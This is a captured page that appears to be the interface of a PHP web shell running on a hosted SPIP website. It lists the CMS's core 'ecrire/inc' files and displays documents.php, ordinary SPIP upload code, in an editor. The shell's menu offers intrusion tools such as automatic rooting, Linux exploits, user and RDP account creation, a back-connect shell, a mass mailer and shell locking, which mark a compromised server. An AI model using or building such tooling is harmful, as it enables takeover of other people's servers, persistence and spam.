Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : documents.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion des documents et de leur emplacement sur le serveur * * @package SPIP\Core\Documents */ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Donne le chemin du fichier relatif à `_DIR_IMG` * pour stockage 'tel quel' dans la base de données * * @uses _DIR_IMG * * @param string $fichier * @return string */ function set_spip_doc(?string $fichier): string { if ($fichier and strpos($fichier, (string) _DIR_IMG) === 0) { return substr($fichier, strlen(_DIR_IMG)); } else { // ex: fichier distant return $fichier ?? ''; } } /** * Donne le chemin complet du fichier * * @uses _DIR_IMG * * @param string $fichier * @return bool|string */ function get_spip_doc(?string $fichier) { $fichier_demande = $fichier; if ($fichier === null) { return false; } // fichier distant if (tester_url_absolue($fichier)) { return $fichier; } // gestion d'erreurs, fichier='' if (!strlen($fichier)) { return false; } if (strncmp($fichier, _DIR_IMG, strlen(_DIR_IMG)) !== 0) { $fichier = _DIR_IMG . $fichier; } $fichier = pipeline('get_spip_doc', ['args' => ['fichier' => $fichier_demande], 'data' => $fichier]); // fichier normal return $fichier; } /** * Créer un sous-répertoire IMG/$ext/ tel que IMG/pdf * * @uses sous_repertoire() * @uses _DIR_IMG * @uses verifier_htaccess() * * @param string $ext * @return string */ function creer_repertoire_documents($ext) { $rep = sous_repertoire(_DIR_IMG, $ext); if (!$ext or !$rep) { spip_log("creer_repertoire_documents '$rep' interdit"); exit; } // Cette variable de configuration peut etre posee par un plugin // par exemple acces_restreint // sauf pour logo/ utilise pour stocker les logoon et logooff if ( isset($GLOBALS['meta']['creer_htaccess']) and $GLOBALS['meta']['creer_htaccess'] == 'oui' and $ext !== 'logo' ) { include_spip('inc/acces'); verifier_htaccess($rep); } return $rep; } /** * Efface le répertoire de manière récursive ! * * @param string $nom */ function effacer_repertoire_temporaire($nom) { if ($d = opendir($nom)) { while (($f = readdir($d)) !== false) { if (is_file("$nom/$f")) { spip_unlink("$nom/$f"); } else { if ( $f <> '.' and $f <> '..' and is_dir("$nom/$f") ) { effacer_repertoire_temporaire("$nom/$f"); } } } } closedir($d); @rmdir($nom); } // /** * Copier un document `$source` * dans un dossier `IMG/$ext/$orig.$ext` ou `IMG/$subdir/$orig.$ext` si `$subdir` est fourni * en numérotant éventuellement si un fichier de même nom existe déjà * * @param string $ext * @param string $orig * @param string $source * @param string $subdir * @return bool|mixed|string */ function copier_document($ext, $orig, $source, $subdir = null) { $orig = preg_replace(',\.\.+,', '.', $orig); // pas de .. dans le nom du doc $dir = creer_repertoire_documents($subdir ?: $ext); $dest = preg_replace('/<[^>]*>/', '', basename($orig)); $dest = preg_replace('/\.([^.]+)$/', '', $dest); $dest = translitteration($dest); $dest = preg_replace('/[^.=\w-]+/', '_', $dest); // ne pas accepter de noms de la forme -r90.jpg qui sont reserves // pour les images transformees par rotation (action/documenter) $dest = preg_replace(',-r(90|180|270)$,', '', $dest); while (preg_match(',\.(\w+)$,', $dest, $m)) { if ( !function_exists('verifier_upload_autorise') or !$r = verifier_upload_autorise($dest) or (!empty($r['autozip'])) ) { $dest = substr($dest, 0, -strlen($m[0])) . '_' . $m[1]; break; } else { $dest = substr($dest, 0, -strlen($m[0])); $ext = $m[1] . '.' . $ext; } } // Si le document "source" est deja au bon endroit, ne rien faire if ($source == ($dir . $dest . '.' . $ext)) { return $source; } // sinon tourner jusqu'a trouver un numero correct $n = 0; while (@file_exists($newFile = $dir . $dest . ($n++ ? ('-' . $n) : '') . '.' . $ext)) { ; } return deplacer_fichier_upload($source, $newFile); } /** * Trouver le dossier utilisé pour upload un fichier * * @uses autoriser() * @uses _DIR_TRANSFERT * @uses _DIR_TMP * @uses sous_repertoire() * * @param string $type * @return bool|string */ function determine_upload($type = '') { if (!function_exists('autoriser')) { include_spip('inc/autoriser'); } if ( !autoriser('chargerftp') or $type == 'logos' ) { # on ne le permet pas pour les logos return false; } $repertoire = _DIR_TRANSFERT; if (!@is_dir($repertoire)) { $repertoire = str_replace(_DIR_TMP, '', $repertoire); $repertoire = sous_repertoire(_DIR_TMP, $repertoire); } if (!$GLOBALS['visiteur_session']['restreint']) { return $repertoire; } else { return sous_repertoire($repertoire, $GLOBALS['visiteur_session']['login']); } } /** * Déplacer ou copier un fichier * * @uses _DIR_RACINE * @uses spip_unlink() * * @param string $source * Fichier source à copier * @param string $dest * Fichier de destination * @param bool $move * - `true` : on déplace le fichier source vers le fichier de destination * - `false` : valeur par défaut. On ne fait que copier le fichier source vers la destination. * @return bool|mixed|string */ function deplacer_fichier_upload($source, $dest, $move = false) { // Securite if (substr($dest, 0, strlen(_DIR_RACINE)) == _DIR_RACINE) { $dest = _DIR_RACINE . preg_replace(',\.\.+,', '.', substr($dest, strlen(_DIR_RACINE))); } else { $dest = preg_replace(',\.\.+,', '.', $dest); } if ($move) { $ok = @rename($source, $dest); } else { $ok = @copy($source, $dest); } if (!$ok) { $ok = @move_uploaded_file($source, $dest); } if ($ok) { @chmod($dest, _SPIP_CHMOD & ~0111); } else { $f = @fopen($dest, 'w'); if ($f) { fclose($f); } else { include_spip('inc/flock'); raler_fichier($dest); } spip_unlink($dest); } return $ok ? $dest : false; } /** * Erreurs d'upload * * Renvoie `false` si pas d'erreur * et `true` s'il n'y a pas de fichier à uploader. * Pour les autres erreurs, on affiche le message d'erreur et on arrête l'action. * * @link http://php.net/manual/fr/features.file-upload.errors.php * Explication sur les messages d'erreurs de chargement de fichiers. * @uses propre() * @uses minipres() * * @global string $spip_lang_right * @param integer $error * @param string $msg * @param bool $return * @return boolean|string */ function check_upload_error($error, $msg = '', $return = false) { if (!$error) { return false; } spip_log("Erreur upload $error -- cf. http://php.net/manual/fr/features.file-upload.errors.php"); switch ($error) { case 4: /* UPLOAD_ERR_NO_FILE */ return true; # on peut affiner les differents messages d'erreur case 1: /* UPLOAD_ERR_INI_SIZE */ $msg = _T( 'upload_limit', ['max' => ini_get('upload_max_filesize')] ); break; case 2: /* UPLOAD_ERR_FORM_SIZE */ $msg = _T( 'upload_limit', ['max' => ini_get('upload_max_filesize')] ); break; case 3: /* UPLOAD_ERR_PARTIAL */ $msg = _T( 'upload_limit', ['max' => ini_get('upload_max_filesize')] ); break; default: /* autre */ if (!$msg) { $msg = _T('pass_erreur') . ' ' . $error . '<br>' . propre('[->http://php.net/manual/fr/features.file-upload.errors.php]'); } break; } spip_log("erreur upload $error"); if ($return) { return $msg; } if (_request('iframe') == 'iframe') { echo "<div class='upload_answer upload_error'>$msg</div>"; exit; } include_spip('inc/minipres'); echo minipres( $msg, "<div style='text-align: " . $GLOBALS['spip_lang_right'] . "'><a href='" . attribut_url(rawurldecode((string) $GLOBALS['redirect'])) . "'><button type='button'>" . _T('ecrire:bouton_suivant') . '</button></a></div>' ); exit; } /** * Corrige l'extension du fichier dans quelques cas particuliers * * @note * Une extension 'pdf ' passe dans la requête de contrôle * mysql> SELECT * FROM spip_types_documents WHERE extension="pdf "; * * @todo * À passer dans base/typedoc * * @param string $ext * @return string */ function corriger_extension($ext) { $ext = preg_replace(',[^a-z0-9],i', '', $ext); switch ($ext) { case 'htm': $ext = 'html'; break; case 'jpeg': $ext = 'jpg'; break; case 'tiff': $ext = 'tif'; break; case 'aif': $ext = 'aiff'; break; case 'mpeg': $ext = 'mpg'; break; } return $ext; }
Close